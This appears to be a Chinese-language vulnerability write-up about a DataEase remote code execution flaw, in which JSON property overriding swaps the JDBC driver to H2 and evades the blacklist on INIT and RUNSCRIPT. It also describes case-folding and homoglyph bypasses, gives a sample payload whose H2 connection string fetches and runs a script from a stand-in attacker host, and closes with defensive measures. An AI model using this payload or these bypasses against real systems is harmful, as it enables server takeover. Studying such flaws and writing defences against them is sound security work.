dataease最新绕过利用json覆盖属性RCE
字数 1386 2025-09-01 11:25:54
DataEase JSON属性覆盖RCE漏洞分析与利用
漏洞概述
DataEase最新版本中存在一个通过JSON属性覆盖实现JDBC连接参数绕过的远程代码执行(RCE)漏洞。该漏洞利用了JSON解析过程中的属性覆盖特性,绕过了对危险JDBC参数的黑名单检查,最终导致攻击者可以通过恶意JDBC连接字符串执行任意代码。
漏洞背景
JDBC连接安全问题
JDBC(Java Database Connectivity)是Java语言中用来规范客户端程序如何访问数据库的应用程序接口。在JDBC连接过程中,如果连接参数完全可控,可能会导致反序列化漏洞,进而实现远程代码执行。
常见易受攻击的数据库驱动:
- MySQL (高版本限制较多)
- H2 (利用较为容易)
相关漏洞案例
- 契约锁JDBC漏洞
- Apache Hertzbeat
- Apache InLong
漏洞原理
传统JDBC绕过手法
-
大小写绕过:
- 系统将连接参数转为大写后进行黑名单检查
- 使用大小写混用的payload绕过,如
ıNIT代替INIT
-
异形字符绕过:
- 使用特殊Unicode字符绕过黑名单检查
- 通过fuzz测试找到可用的异形字符组合
新型绕过手法:JSON属性覆盖
核心思路:在连接过程中让系统误判数据库类型,从而绕过特定数据库的黑名单检查。
具体原理:
- DataEase通过
type参数确定数据库驱动类型 - 对H2数据库有特殊的黑名单检查(
INIT和RUNSCRIPT) - 利用JSON解析过程中的属性覆盖特性,在解析过程中修改
driver属性 - 使系统在初始判断时为非H2数据库,但在实际连接时使用H2驱动
JSON解析覆盖底层机制
- 解析器根据是否指向对象起始符号
{选择不同反序列化策略 vanillaDeserialize方法在反序列化过程中设置属性- 底层通过Unsafe反射修改属性值
- 最终实现属性值的覆盖
漏洞复现
利用条件
- 能够控制JDBC连接参数
- 目标系统使用易受攻击的DataEase版本
利用步骤
-
构造恶意JSON payload,包含以下关键部分:
- 初始
type设置为非H2数据库(如MySQL) - 通过JSON属性覆盖技术修改
driver为H2驱动 - 包含恶意的H2连接字符串
- 初始
-
将payload编码后写入
configuration字段 -
触发JDBC连接,实现RCE
示例Payload结构
{
"type": "mysql",
"configuration": {
// 覆盖driver属性为h2
"driver": "org.h2.Driver",
// 恶意H2连接字符串
"url": "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'"
}
}
防御措施
-
输入验证:
- 严格校验JDBC连接参数
- 禁止用户控制关键参数如
driver
-
黑名单增强:
- 检查所有可能的字符变体
- 使用规范化后的字符串进行比较
-
安全配置:
- 限制可用的数据库驱动类型
- 使用固定白名单的驱动
-
JSON解析防护:
- 禁用JSON解析中的不安全特性
- 使用安全的JSON库配置
-
最小权限原则:
- 运行数据库连接的服务使用最低必要权限
参考资源
总结
DataEase的这个漏洞展示了JSON属性覆盖技术在绕过安全限制方面的强大能力。与传统的直面黑名单的绕过手法不同,这种技术通过改变执行路径的方式实现绕过,为安全研究提供了新的思路。防御方面需要从多层面进行防护,包括输入验证、安全配置和运行时保护等。